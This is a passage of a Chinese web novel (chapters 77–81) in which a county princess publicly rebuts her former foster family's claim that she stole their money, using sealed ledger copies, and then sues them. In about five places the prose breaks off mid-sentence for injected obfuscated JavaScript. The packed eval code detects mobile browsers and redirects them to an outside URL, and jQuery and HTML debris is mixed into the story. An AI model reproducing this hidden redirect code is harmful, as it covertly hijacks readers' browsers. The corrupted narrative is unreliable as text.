偏偏,她的理儿站得住脚。 桑怀民勃然大怒:“桑初晴!再怎么说,父亲养了你十七年……” “等等!”喻初晴没让他把话说完:“订正一句,南阳侯府的确养了我十二年,但我从十二岁开始,帮侯夫人理账、打理中馈,后面可就不是你们养的我,而是我养的你们了!” 她抬起头来看向众人,扬高了声音,说道:“诸位看官很难相信吧?南阳侯府外强中干,早五年就已经入不敷出、欠了一屁股债了!这五年,谁养谁还真的说不定呢!” “你放屁!”桑怀民绝对不接受这种说法:“你理账的五年,把侯府的账本做空、钱财卷走,还有脸说你养的我们!” 喻初晴顺势接话:“所以,你们也承认,这五年是我理账、我在打理中馈咯?倘使不是我去理财得来的银子,你们难不成认为,就靠南阳侯那点可怜的俸禄,供得起偌大的侯府吗?” 桑怀民从来不管账,甚至算术也不是很行,他哪里知道! 喻初晴笑吟吟的,不慌不满、不疾不徐,环视一周,大声说道:“南阳侯府从五年前,就开始难以为继了!侯夫人为了支撑家中的开销,不得不跟三亲四戚借钱。这些事,可不是我编造出来的,所有的记录都在账本上写着,有侯夫人的签字画押!” 她微微一笑,道:“在场的,也有桑家的众家亲戚,也有给侯夫人借过钱的。仗义的,请您站出来说句公道话,我请您喝酸梅汤!” 还真有两个站出来的。 说是亲戚,但其实有点远了。 其中一个至少在四代开外: “不错!我太祖母是桑家的姑奶奶。一表三千里,我也能称桑大公子一声表弟!四年前的腊月十九日,侯夫人说是府中老夫人要办寿宴,自家银子放在外头还没收回,从我家借走八百两银子!后来我家娶媳妇儿,我家硬着头皮上门要求还钱,根本没有钱还!硬是拖了一年多,最后是侯府小姐……哦,就是今日的永安县主还上的!” 另外一个是姻亲的姻亲: “正巧,我家侄媳妇,是桑家旁支的女儿。前年桑大公子成亲,侯夫人跟我们家借了五百两银子。一直拖到侯府长孙出生、满月、周岁,都没还上。后来,家中长辈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446403|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 病倒需要一大笔银子,也是永安县主还的!” 两个人的说法,瞬间让桑家人抬不起头来! 太丢人了! 区区几百两,偌大的侯府,竟然拿不出来? 此时,又有一名夫人站出来,道:“我们家跟南阳侯府不是亲戚,是邻居!年前,侯夫人找我们家老爷借了八千两银子,当时说是救命用的,我家老爷看在同住一条街的份上,救人如救火,就借了!后来才知晓,原来是替桑三公子还赌债!” 她看向喻初晴,行了个万福礼:“幸得永安县主后来把这个坑填上,不然八千两银子都够我家一家老小买棺材了!” 南阳侯父子走这一趟,是想从喻初晴这里薅银子的。 他们的套路是:只要把喻初晴架在火堆上烤,道德**她,即便他们理亏,也总能薅点算点。 喻初晴指不定为了脸皮,真拿银子打发他们走了。 谁知,竟然在这里等着! 桑文柏:终于知道,为什么喻初晴要晾着他们,等了将近一个时辰才开门了! 他们想道德**她,她反过来把他们架在火堆上! “你们说的这些,最后不也都还上了么?”桑怀民只管咬住一点不放:“是她还的,那代表着什么?代表侯府的家财都在她掌握之中!她要转走侯府的银钱,实在是举手之劳!” 喻初晴唇角挂着微笑,并不急着反驳。 木棉出来,说了句:“县主,绿豆汤都熬好了。” “提出来吧。”喻初晴不接桑怀民的招,而是环视一周,道:“烈日当空、骄阳似火,劳大家在这里听牙花,真是受罪了。我命人熬了几桶绿豆汤,在场看戏的人人有份。人多,水不免也加多了些,还望大家不嫌弃!” 所有人惊呆了。 这年头,出来看戏竟然还有吃的喝的? 永安县主,可以啊! 所有人都去等绿豆汤了,桑怀民刚才义愤填膺说的一堆,顿时好像被洪水冲走了一样,说了个寂寞。 他的自尊心,碎了一地! 桑文柏更是感觉到自己被无视了,怒吼道:“桑初晴!” 第77章 父亲VS父亲,完胜! “南阳侯,你在叫谁?” 喻初晴回过头来,歪着头看他,道:“倘使你叫的是我,不好意思,圣旨下令我户籍改入了喻家后,我便叫喻、初、晴了!” 她指了指坐在府门前阴凉处的喻家人,道:“家父、家慈在此。三位兄长一个小弟,一家七口齐齐整整的。南阳侯若有什么指教,还请先叫对名字!” 这位永安县主,说话总是不疾不徐的。 她的语气一点儿也不重,甚至可以说得上温和知礼。 没有咄咄逼人,也没有歇斯底里。 但—— 气人! 是真气人! 桑文柏气得想要吐血! 他怒火中烧,双眼都要冒红光,斥道:“你这是故意混淆视听!怎么,想逃避问题?以为这样就能糊弄过去,把南阳侯府的银子私吞?” 喻初晴浅浅一笑。 对比之下,一个人气得**,一个人气定神闲。 偏生此时,喻惊鸿站起朝这边走过来,道:“南阳侯,你不要以为我们放着晴晴自己解决这件事,是因为我们不敢管!” 他走到桑文柏面前站定,话说的掷地有声:“我们是尊重晴晴,认为她有解决问题的能力!但,若你们欺人太甚,我也绝不会让自己的女儿在眼皮底下,让人给欺负了!” 围观群众喝了绿豆汤的,心情美得很。 当即有人高呼:“没错!南阳侯府你们也太欺负人了!大老爷们逮着一小姑娘,口口声声说她偷了你们家银子,你们倒是拿出证据来啊!没有证据只知道在这里怒吼,我们看戏的都很累的好不好!” 这话,让其他人没忍住哈哈大笑起来。 桑文柏是武将出身。 喻惊鸿是屠夫。 都是比较粗壮的身材。 两人站在一起,体型上互相都没有优势。但: 喻惊鸿尽管是个屠夫,他的气质却是颇有几分文士的味道,略有些儒雅! 比起吹胡子瞪眼、面红耳赤的桑文柏—— 相由心生这个词的含金量,还在上升! 颜值即正义,谁对谁错,大家心里都有分数了! 桑怀民怒叱道:“你们莫要插手别人的家事!” 看客不说话了,但看向桑家父子的眼神,几乎都是鄙夷。 南阳侯是很看不起屠户、农户的,对喻惊鸿的说辞很是不屑:“你叫喻惊鸿是吧?你算什么东西!” 士农工商。 他是士。 他还是爵! 的确有理由看不起! 可是—— 这个南阳侯如今的含金量已经很低了,是他自己不清楚事实罢了! 喻惊鸿并不生气,反而还笑道:“照这么说,南阳侯是个东西啊?失敬、失敬!” 一边排队等绿豆汤、一边放了个耳朵在这边吃瓜的众人,不由都笑了。 这话,应得利索! 畅快! 不得不说,亲生的就是亲生的。 永安县主虽然在桑家长大,可这气度,妥妥的喻家人没跑了! 桑文柏更怒了:“喻惊鸿,你敢对本侯不敬!” 喻惊鸿却淡定如斯,道:“帝京权贵四处走,天上掉个馅饼,都能砸中好几个贵人。南阳侯的确有辉煌的过去,但……据喻某所知,你们祖上马背上打下来的荣耀,好像到你这一代,就要嚯嚯完了!阁下如今除了还挂着门楣上那块匾额,还有什么呢?” 啪! 没打耳光,胜似打耳光! 桑文柏脸好疼。 喻初晴低笑。 父亲VS父亲,完胜! 货比货得扔,人比人气**! 桑家人,除了不该有的优越感,真的没有任何东西拿得出手! 喻惊鸿转头,轻轻拍了拍她的肩膀,才又回头过来对南阳侯说道:“你女儿桑雪,是被人掉包送来我家的。此事上次太子殿下见证,证明了我喻家的清白。” “我夫妇二人从一开始就知道,桑雪不是自己的女儿。但,十七年来没有亏待她分毫。甚至在农户之家,没让姑娘做过一点家务、农务!反而是犬子……” 他指了指后面站在白婉蓉身侧的喻今歌,道:“他,小了桑雪四岁的弟弟,五岁就上灶台,做饭洗衣都是他,日常负责照顾桑雪一日三餐的也是他!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446404|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “扪心自问,喻家没有半点亏待桑雪的地方!” “可你们桑家,是怎么对我女儿的!” 他说着,面色凌厉起来:“你们让她十二岁就扛起整个侯府的生计!让她小小年纪的一个小姑娘,到处去打理铺子、庄子,与虎谋皮!” 他拿起喻初晴的双手,将她一双生满了茧子的掌心露出来,道:“你看看她的手,堂堂的侯府嫡女,弄成了这个样子!” “这样的一个好闺女,你们不要她、把她赶走!” “开始可以说是误会,即便你们都以为是喻家掉包了你的女儿,把气撒在无辜的晴晴身上,我也能理解!” “但是!” “你们派人刺杀她,赶尽杀绝,这是养父能做出来的事儿???你南阳侯,禽兽不如!” “我家晴晴命不该绝,在你刀下活下来了!现在好不容易过上好日子了,你们又眼巴巴地上门来,想要从她身上薅羊毛,是吧!” 不得不说,他把话说到点子上了。 当即有吃瓜群众说道:“是啊,我说他们怎么逮着永安县主不放呢!看来是他们南阳侯府不行了,穷得叮当响了,瞧见永安县主日子好上了,就想分一杯羹!” “可真是,猪八戒梦中娶媳妇儿,想得真美!” “永安县主!这绿豆汤我不白喝,必须帮你说句公道话!南阳侯好不要脸!” “对!从未见过如此厚颜无耻之人!” 桑怀民听得很不服气,对着那些**吼道:“是桑初晴卷走侯府的银子,才有的今天!你们不要搞错了本末!我们今天,是来讨要属于自家的银子,有什么问题!” 那些人不甘示弱,跟他吵了起来。 现场一片混乱吵嚷。 南阳侯要面子,桑怀民孤军作战: “她若不偷,哪来这么好的日子过!现在她还养着一大家子?我家妹子阿雪说了,喻家根本没有银子,撑不起如今一家几口啥事儿不干、在县主府过的奢靡生活!” “我们怀疑,桑初晴早就知道她不是亲生的、早就找到她爹娘了。她大哥不是货郎吗?做小生意用的本钱,一定是桑初晴给的!” 第78章 桑怀民生而为人,竟然会飞! “她爹杀猪不需要本钱的吗?那些钱肯定也是桑初晴给的!” “桑初晴搬空了我南阳府,吸我们的血去养她的父兄,天理不容!” “我们现在就是想要回银子,其他的既往不咎!” “桑初晴今天必须给我们把银子交出来,账面少说有八万……不对,十八万两!她今天不拿出来,我桑怀民就撞死在永安县主府门外,让所有人见证这个吃里扒外、狼心狗肺、忘恩负义的贼!” 越说越激动。 这么大的太阳啊,他说得满头大汗。 别人都捧着绿豆汤,屋檐下的这些人在阴凉处喝着冰镇酸梅汤,就这么看着桑怀民唾沫星子四溅,一个劲儿编排喻初晴做过的事。 他还没说完:“他家老二进了东宫当差,说是她救了太子的恩典,谁知道是不是献出了什么?她一个农女,太子自然不可能娶她,所以就给这些东西作为补偿!” 话说得有些隐晦,但…… 懂的都懂! 桑怀民这是在说喻初晴是跟太子睡了,用肉体关系交换的这些富贵。 不然以她的身份,绝无可能让太子娶她! 他会这样编排,自然是因为恨毒了喻初晴——喻初晴强行让他跟连玉和离,还签下了那种丧权辱国的和离书,他恨不能喻初晴马上就死! 所以,他嘴里说出什么话来,一点儿也不奇怪。 可话出去了,后果却不是他能承担的—— 说别的,喻家人都会按照喻初晴原先说的,按兵不动,等着她大开杀戒。 可这话一出,所有人脸色丕变! 喻惊鸿猛地往前走! 喻昔词、喻慕文、喻今歌,齐刷刷地站起来,往前面走去。 这一家子不但颜值超高,身形也是高大的。 一排男人走过来,还别说,贼吓人! 而喻尚武就不同了! 抡着大锤的美人满脸郁气,一甩手,铁锤砸到了说这话的桑怀民面前。 铁锤砸地,地砖又碎了。 而下一瞬,喻尚武的拳头砸到,一拳将桑怀民砸得高高飞起! 桑怀民生而为人,竟然会飞! 喻初晴抬头一看,粗略估算,莫不是有五米高? 二哥真的太强了! 她轻声说了句:“二哥下手轻点儿,别把人打**。” “得嘞!”喻尚武并非冲动到失去理智的那种。 他人狠话不多,相比其他兄弟,他智商感人。但他有优点:很清楚自己在做什么。 桑怀民从高空跌落的时候,他一跃而起,抬手一薅,拎住了桑怀民的领口,将人往门口的石狮子上狠狠一压。 美人脸,杀神眼。 “桑怀民是吧?有胆子,把你刚才造谣的话,再、说、一、遍?” 他声音凛冽:“抱着想要从我妹妹这里薅羊毛的心思,编造是非、把屎盆子往她头上扣!老太太是靠墙喝稀粥,你**是卑鄙无耻下流啊!” 桑怀民没说话。 不是头铁,也不是嘴硬。 而是—— 吓尿了! 开玩笑,谁被扔上将近两丈的高度,在半空中强烈失重下坠,又被拎下来砸在石狮子上,后背一阵剧痛,还能淡定? 堂堂的南阳侯嫡长子桑怀民,他…… 尿裤子了! 身下一滩液体流出,别提多丢人。 他额头上都是汗,脸却是被吓白了,两条腿发着抖! 还别说,这一幕让一群吃瓜群众看得爽呆了—— “我的天呐!不愧是能在太子亲卫里当差的人,永安县主的二哥有点东西啊!” “他长得那么好看,武力这么强大!” “瞧他维护自己妹妹的模样,男子汉大丈夫,当如此!” 但,那还不够—— 喻今歌紧跟着上来,一脚踹在桑怀民的腹部下面,道:“你这种拿姑娘家贞洁来造谣的坏胚子,就应该**!” 他虽然不主要习武,却也是从小没有落下基本功的,下盘极稳的他,这一脚上去,桑怀民爆出了尖锐的惨叫: “啊——” 没有人同情。 毕竟,造黄谣这种事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446405|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,的确应该遭到烂嘴巴、烂唧唧的报应! 喻慕文站在原地,面容冷峻地说道:“你们桑家人真有意思!一口一个养了初晴十七年,事实却就是这么对待她的!又一边造谣她是贼、她的富贵来历不明,却又好意思,一边狮子大开口要十八万两、想从她手里薅银子……” 平素总是温和示人的书生,此时眉眼凛冽地宛如冰刀! 他看了一圈众人,道:“在场诸位都是有脑子、有良知之人,应该很轻易能判断出来,谁才是恶人吧?” 但凡有点良心的,都能从这等场景分辨出来:桑怀民和桑怀志绝对是造谣。 “倘使果真发生那样的事……”高大威猛的硬汉喻昔词站了出来,压迫力比他的几个弟弟加起来还要强烈。 他沉声道:“难不成你们还以为太子殿下是个负不起责任之人?太子殿下可是连爬床未遂的桑雪,都收做侍妾了!桑怀民,你把太子殿下当什么人了?” 这帽子扣下来,桑怀民才知道什么叫做祸从口出。 历来,造黄谣都很容易取信于人,在场的人难免会有猜疑的,听了这话后,豁然开朗—— 可不嘛! 桑雪根本没得手,爬床未遂,太子都收做侍妾了! 假如喻初晴跟太子有那种关系,身为太子的救命恩人的喻初晴,太子还能不收她? 太子不但给出永安县主的封号、以及那么多封赏,还屡次帮她主持公道。 如此种种,她若是太子的相好,即便不得做太子妃,也已经成为太子宠姬了! 可,永安县主冰清玉洁,人太子殿下也是君子之风! 很显然,桑怀民真的是个极品垃圾。 “你们口口声声说,养了她十七年,还敢提养育之恩!”喻惊鸿看向桑文柏,面露杀猪一般的凶狠煞气,道:“她在侯府过的是什么日子且不谈,就是眼下种种……叫人很难相信,你们对我们晴晴有什么恩情!” 他转头看向喻初晴:“晴晴,不必跟他们再多说了!” “无碍。”喻初晴微笑:“再等一下,马上就要反转了!” 第79章 她等的就是这一时刻! 喻惊鸿的话,提醒了在场的看客: 是啊,撕破脸之后,一边想从喻初晴手里掏银子,另一方面又恨不能把喻初晴钉在耻辱柱上! 他们说的“忘恩负义”,完全不成立。 相反,他们才是“狼心狗肺”的那个吧! 乔松海坐在书案前,全程蹙眉看着眼前这一幕,不断摇头:桑家,真完了! 一个家族倘使全都是这种无情无义、寡廉鲜耻、卑鄙下作之徒,还能走多远? 南阳侯为老不尊,上梁不正下梁歪! 他同情地看向喻初晴,道:“县主这些年,跟这等豺狼虎豹同居一室,着实是太委屈了!” 平素不爱多评判他人的乔侍郎都说出这样的话了,桑文柏的脸色自然是奇差:“乔大人,你莫非是要偏帮!” 乔松海义正词严:“老夫有眼睛、有判断,孰是孰非、看得见!” 顿时,有不少看客应和:“就是!我们都有眼睛,亲眼所见你们欺凌永安县主!” 喻初晴面无表情地摇着扇子,朝乔松海欠身示意:“谢乔大人仗义执言。这点委屈不算什么,毕竟,不经历一番寒彻骨,哪得梅花扑鼻香?” 她勾唇一笑,扬声道:“感谢南阳侯府驱逐之恩,让我喻初晴回归本家,有这样疼爱我的家人,我得到了世上最珍贵的东西!” 说着,她十分讽刺地朝桑文柏一拜,又道:“南阳侯,我谢你全家呀!” 说的都是体面话。 嘲讽意味却拉满! 众人:“……” 不知该笑不笑! 桑文柏的脸,被按在脚底板上摩擦! 乔松海实在看不下去了:“南阳侯,你等作为,实在叫人很难相信,县主会是卷走侯府银子之人!你若还非要执意如此编排,不若拿出证据来说话!若非要胡搅蛮缠,怕是还要上府衙解决这件事!” 提到府衙了,张太鑫也道:“可不吗?拿不出证据,那可真的就是你们欺负人了。本府在此,若你们实在冤屈,拿出证据来证明,自会为你们做主!” 桑文柏顿时说不出话来。 他们是奔着要银子来的,本以为道德**就行了,哪有什么实证! 桑怀民还在“唧唧痛**”的苦难里难以自拔! 喻初晴的三个哥哥一个弟弟,真的好凶! 即便是看起来最文弱的书生,一双眼眸里迸发出来的光芒,都仿佛要把他撕碎一般! 乔松海站起,道:“县主是被冤枉的,即便是闹到皇上面前,今日之事本官都可以作证!” 这大热的天,坐在这里喝酸梅汤看了半天的戏,到这里应该谢幕了。 其他人也觉得,应该结束了? 张太鑫也道:“本府亦认为,南阳侯府众人更为可疑。永安县主一定是被冤枉的!” 他们都想站喻初晴,把这件事打发了。 孰料—— 喻初晴却是微笑,道:“二位大人稍等,东西马上就送过来了,只是实在太多、而且比较复杂,需要多点时间。” 正说着,街道那边突然行来了两辆马车。 看见马车,众人都愣住,朝那边看去。 现场安静下来。 马车很好认,挂着一个“当”字的旗帜。 乔松海是户部侍郎,对这个还真熟悉:“那是——通济当铺的人!” “不错!”喻初晴转头看去。 所有人都看着这两辆马车。 领头的人骑着一匹黑色骏马,走到县主府门前下马。 他抱拳朝喻初晴行礼:“永安县主。” 又朝其他人行了一圈江湖礼:“各位大人!” 他微微一笑,道:“容在下自我介绍一下,小人乃通济当铺的掌柜、曲晨风!” 其实他都不用自我介绍,认识他的人很多。 包括南阳侯一家子,都认得曲晨风! 通济当铺,乃本朝最大的当铺,背靠朝廷。 不仅做典当生意,还兼顾钱庄。 此外,还有一样最为有名—— 替人保管贵重财物品! 曲晨风自我介绍完,看向喻初晴,道:“桑小姐……哦不,在下已经喊了五年,习惯了难免口误,还请永安县主见谅!” “无妨。”喻初晴回以微笑。 曲晨风这才进入正题:“县主,您过去五年,保存在本当铺天字号储藏柜里的所有账簿副本,在下已经全部送过来了!” 他手一挥。 众人震惊:这是,两个马车的账本?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446406|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 曲晨风吩咐他的那些伙计:“将东西都搬下来!” 接下来,众人便看见一只又一只贴着封条的木箱,被从马车上抬下来。 径直送到了乔松海面前! 局面进展到了眼前这个程度,吃瓜群众也终于都回过味来了: 这才是重头戏! 先前一直纵容他们打嘴仗,喻初晴等的,就是现在这一时刻。 她,方才是将南阳侯父子俩溜着玩儿呢! 只见曲晨风走到永安县主府的匾额下,扬声说道:“诸位请看,这是我们通济当铺代替客人封存的货箱!每一只箱子的封条上面,都写着封箱当日的日期!” 他手底下的伙计给众人展示那些封条。 通济当铺做事非常仔细,曲晨风又道:“一共五只箱子,从左到右排列,每年一只。是今日的永安县主喻初晴——昔日的南阳侯府嫡女桑初晴,亲自送来本号,由区区在下,与通济钱庄的万大掌柜,三方见证、三方上锁!” 他又让伙计给众人展示,每一只箱子上都有三把锁。 他转头看向在场官阶最高的乔松海:“乔大人,您可亲自审查所有货箱,保证没有经过任何**!” 不仅让乔松海检查:“府尹大人,您也请看!” 甚至,他还对桑文柏说道:“南阳侯,我通济当铺的信誉,想必您是知晓的?” 桑文柏敢说不吗? 通济当铺家的信誉,谁敢不认可? 那跟说“我不相信皇帝”,有什么区别! 他不得不点点头:“是。” 得到他的颔首,曲晨风笑了,转头朝南阳侯带来的几位官员看去:“诸位大人,亦可上前查看。” 不得不说,此人做事,滴水不漏! 看过封条的人,全都认可: 第一,封条是真实的; 第二,日期的确是五年来一年一箱,从上面的墨迹、纸张的陈旧程度,可见一斑; 第三,每只箱子上有三把锁,其一是通济钱庄的记号,其二是通济当铺的记号,其三没有记号,应该是喻初晴的锁。 所有人都检查完毕。 这时候,又一辆马车行驶过来。 众人:“……” 还有瓜??? 第80章 这才是重头戏啊! 马车很快停在了县主府门外。 一个胖乎乎、圆滚滚的中年男人,几乎是从马车上滚落下来。 此人长得圆润得像白面馒头,捏着帕子直擦汗,道:“在下来晚了,恕罪恕罪!” 这位,便是通济钱庄的大掌柜万有财。 从那身材便可看出,这位简直就是行走的金元宝! 他朝喻初晴这边拱手行礼:“县主恕罪,在下早先便过来了,结果这忘性太大,忘了拿钥匙。这不,又兜了一圈回去,可不就把时间给耽误了么!” 通济钱庄和通济当铺,其实背后都是一个东家,只不过是分开管理。 但这两个大掌柜,却是完全不一样的类型。 当铺那位曲晨风,人如其名,清新脱俗; 而钱庄这位万有财亦是人如其名,气质庸俗、性子更是个摆烂货。 但也是厉害,他这模样一出,不管说的是真是假,都没人去怪他了。 喻初晴说道:“既然人到齐了,那就开箱吧!” “好嘞好嘞!”万有财一向看曲晨风不太顺眼,一个**把正要上前的曲晨风顶开,道:“县主大人,您先请!” 谄媚,却不让人讨厌。 也是一种本事。 “好。”喻初晴并不推拒,抬手接过木棉送过来的一串钥匙。 她看了上面的编号,拿出数字1的那把,打开了第一只箱子的锁。 曲晨风知道万有财又要针对自己,站在一旁不动。 万有财却还是针对他了:“曲大掌柜还等什么呢?堆在上面的这把锁,不是您锁的吗?” 曲晨风:“……” 他懒得跟这人计较——主要是一旦计较了,就会没完没了,没法计较! 第二把锁也开了。 “好嘞好嘞,轮到小人了!”万有财这才笑嘻嘻地上前,打开第三把。 还别说,这“金元宝”是真的可乐的一个人。 说他耍宝吧,倒也不是故意的; 可即便他做出再庸俗的举止,也没有半点让人厌恶的地方! 曲晨风难道是个好惹的? 谁敢说通济当铺的大掌柜是个好惹的,他保证立马告诉你:什么叫被社会毒打! 但在万有财面前,还是步步相让。 “我十二岁那年——” 喻初晴指着打开的箱子,道:“第一次接手南阳侯府的账本,担心会出什么差错——” “包括但不限于走水、雨淋、蛇虫鼠蚁啃咬,甚至不小心撕破,都会导致账本不全,由此产生参差,造成不良后果。” “于是,我把所有账本都誊抄了一个副本,存放在另一处。” “第二年春,把上一年的副本,存进了通济当铺!” “如此反复,五年过去,如今便有了五个箱子。” 她陆续打开其他四个箱子。 曲晨风与万有财紧随其后,她开一把锁,他俩就跟着打开。 自然,曲晨风少不得要被万有财一次又一次挤兑。 好在,箱子终于开完了。 喻初晴转头看向乔松海,铿锵有力地说道:“乔大人是户部侍郎,是为朝廷管账的一把好手。听闻每年国库盘账的差使,也都是乔大人亲自主持。” 她福身一礼,道:“今日初晴斗胆,恳请乔大人帮忙接管这些账册副本!” 话到这里,所有人也都明白了她今天摆这一出龙门阵的用意! 好家伙! 不得不说,未雨绸缪当真是最佳的自保手段! 一开始她只是防着账本出岔子,留了一手。 没想到,当年留的这一手,今日竟然能拿出来作为证明自己清白的铁证! 乔松海是受过她的恩情的,不然他一向自持,不会一请就来。 正发愁这位县主如今什么都有了,无法回报大恩的时候,这不…… 机会送上门了! 他当即说道:“多谢县主信任,在下必定帮县主把这些证物好生保管!” 喻初晴欠首为礼谢过,转头看向张太鑫:“张大人,您是京兆府的父母官,今日南阳侯父子二人上门生事,辱骂、造谣、毁谤,甚至勒索,对初晴的人身安全、个人名誉造成了极大的压迫!” 她掷地有声地道:“我、喻初晴,要告南阳侯桑文柏、南阳侯长子桑怀民——” “一告,他二人诽谤我转移侯府家财;” “二告,桑怀民造谣太子殿下与我有不轨关系;” “三告,桑怀民狮子大开口,对我进行勒索,勒索金额高达十八万两银子!” “恳求府尹大人举行公审,替我伸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446407|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张冤屈、还我清白,并要求南阳侯府对我的名誉损失做出赔偿!” 众人:“!!!” 这才是重头戏啊! 欲要其灭亡,必先让其疯狂! 她放任南阳侯父子叫嚣了半天,让他们多做多错、多说多错。 再一并扔出铁证,将对方往死里打。 有条不紊,不温不火,泰然自若,十步一杀! 有一说一,近几日的天气,正是一年中最热的酷暑。 而他们又挑在了一天之中最热的时候,来搞这样的事! 不管是正主儿,还是吃瓜群众,哪一个不是满身热汗? 想到这种事,是南阳侯父子挑起的,若他们真的是正义的一方也就算了,可结果—— 吃相太难看了! 谁心里不是对他们颇有微词? 气氛烘托到位了! 此时,喻初晴说出要状告他们,一下子把气氛顶上高潮,大快人心! 桑家父子二人一听,都愣住了。 桑文柏怒道:“桑初晴!你敢告本侯?” 喻初晴给他表演了一个“你看我敢不敢”:“首先,我叫喻初晴。其次,我已经告了,你才来问我敢不敢,是不是有点好笑?” 桑文柏气息一窒。 张太鑫焉有不帮喻初晴的道理:“永安县主,本府接了你的提告!” 当即转头看向乔松海:“乔大人,既然这些东西都要作为物证,请允许下官将证物带回衙门,入库管理!” 乔松海颔首:“好,那便由老夫、与京兆府衙共同管理,一人一把锁。务必保证物证不受损坏!” “乔大人所言甚是。”张太鑫欠首,又转头看向桑文柏,道:“南阳侯,下官要说声抱歉了。京兆府会马上派遣人手前往南阳侯府,提取贵府五年来的所有账目,与永安县主留存的副本一一比对。若事实证明永安县主并未转移、吃空、卷走贵府财物,本府将宣判,南阳侯桑文柏、长子桑怀民二人,毁谤永安县主罪名成立!” 他一挥手:“来人,即刻照办!” 乔松海颔首,道:“乔某愿意领头,主持对账事宜,务必还永安县主一个公正!” 桑文柏急了。 但桑怀民比他更冲动:“不行!你们凭什么拿我们侯府的账册去做比对!” 第81章 将他们的脸打肿了 这南阳侯长公子,莫不是个草包! 张太鑫没忍住嗤笑,道:“这还能凭什么?难道不是凭你们今日跑到县主府门口闹这一出,是你们非要说永安县主转走你们的银子,却又提不出证据。现在县主把证据送来了,你们难道不是求仁得仁?” 求仁得仁。 求锤得锤! 这下子,桑怀民没话说了。 但是,吃瓜群众就有话说了—— “永安县主可真是高招啊!” “可不吗?南阳侯这几位,只怕要偷鸡不成蚀把米咯!” “笑死,拿子虚乌有的事来勒索,真以为将永安县主架上高台,就能要到十八万两银子?当银子是大风刮来的吗?” “关键是,以前咱们都不知道南阳侯府这么穷,现在所有人都知道了,哈哈哈!” “赶走养女,要养女净身出户。现在又舔着个脸,来养女这里打秋风……” “你可说错了,见过打秋风的,没见过这样子打秋风的!他们这哪里是打秋风,分明是造谣毁谤、敲诈勒索!” “南阳侯的脑子长屁股上去了吗!哈哈哈……” 这些说辞,让桑家父子二人的脸色难看至极! 但,京兆府的官差已经前往侯府搬账本去了,案子马上就要进驻京兆府。 覆水难收,他们再后悔,也无法阻止后续的事情发生。 事情完美按照自己计划中进展,喻初晴抿唇,做出强颜欢笑的模样,扬声说道:“今日诸位都辛苦了,初晴得这么多人捧场、作证,感激不尽!” 她一挥青绿色的袍袖,道:“县主府准备了一百份红封,里面的赏金随机不等,让大家讨个**、博个运气。见者有份,发完为止!” 说着,她施施然一欠身,又道:“祝福诸位鸿运当头、万事胜意,无论遇上任何艰难困苦,都能化险为夷!” 好听话,谁不爱听? 更何况,出来逛个街、吃个瓜,竟然还有天上掉银子的好事? 但,这就是真的! 县主府的管家,带着四名家丁,人手一只托盘捧出来出来,上面果然堆满了红封! “县主有赏,诸位快请领赏!” 围观群众不管身份贵贱,一哄而上。 毕竟,喻初晴连体面词儿,都给他们想好了——这是讨彩头,鸿运当头万事胜意,谁不想要? 平时,要过年才能听得这样的吉祥话! 覆雨上前维持秩序:“诸位听我一言!这里是永安县主府,这是我们家县主心怜大家大热的天在这里晒日头,给的一点茶水费!请大家有序排队领取,莫要哄抢!” 换在别家,根本不可能有排队这种事。 但在这里—— 嘿! 还真开始排了! 随机抽取红封,第一个就认为自己中了大彩:“一两银子!” 